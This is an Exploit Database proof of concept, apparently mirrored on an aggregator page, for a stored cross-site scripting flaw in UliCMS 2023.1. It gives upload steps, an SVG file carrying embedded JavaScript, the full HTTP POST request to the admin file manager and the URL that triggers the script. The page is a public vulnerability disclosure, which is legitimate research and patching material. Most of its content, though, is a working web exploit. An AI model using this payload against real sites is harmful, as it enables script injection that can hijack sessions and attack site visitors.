Ulicms-2023.1 sniffing-vicuna – Stored Cross-Site Scripting (XSS)

• Exploit Database
• 15 阅读

• 作者： Mirabbas Ağalarov
  日期： 2023-05-05
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51435/

• #Exploit Title: Ulicms-2023.1 sniffing-vicuna - Stored Cross-Site Scripting (XSS)
  #Application: Ulicms
  #Version: 2023.1-sniffing-vicuna
  #Bugs:Stored Xss
  #Technology: PHP
  #Vendor URL: https://en.ulicms.de/
  #Software Link: https://www.ulicms.de/content/files/Releases/2023.1/ulicms-2023.1-sniffing-vicuna-full.zip
  #Date of found: 04-05-2023
  #Author: Mirabbas Ağalarov
  #Tested on: Linux 
  
  2. Technical Details & POC
  ========================================
  steps: 
  
  1. Go to media then to file (http://localhost/dist/admin/index.php?action=files)
  2. upload malicious svg file
  
  svg file content ===>
  
  <?xml version="1.0" standalone="no"?>
  <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
  
  <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
  alert(document.location);
   </script>
  </svg>
  
  
  poc request:
  
  POST /dist/admin/fm/upload.php HTTP/1.1
  Host: localhost
  Content-Length: 663
  sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
  Accept: application/json, text/javascript, */*; q=0.01
  Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryK3CvcSs8xZwzABCl
  X-Requested-With: XMLHttpRequest
  sec-ch-ua-mobile: ?0
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
  sec-ch-ua-platform: "Linux"
  Origin: http://localhost
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: cors
  Sec-Fetch-Dest: empty
  Referer: http://localhost/dist/admin/fm/dialog.php
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Cookie: last_position=%2F; 64534366316f0_SESSION=g9vdeh7uafdagkn6l8jdk2delv
  Connection: close
  
  ------WebKitFormBoundaryK3CvcSs8xZwzABCl
  Content-Disposition: form-data; name="fldr"
  
  
  ------WebKitFormBoundaryK3CvcSs8xZwzABCl
  Content-Disposition: form-data; name="files[]"; filename="SVG_XSS.svg"
  Content-Type: image/svg+xml
  
  <?xml version="1.0" standalone="no"?>
  <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
  
  <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
  alert(document.location);
   </script>
  </svg>
  ------WebKitFormBoundaryK3CvcSs8xZwzABCl--
  
  
  
  3. Go to http://localhost/dist/content/SVG_XSS.svg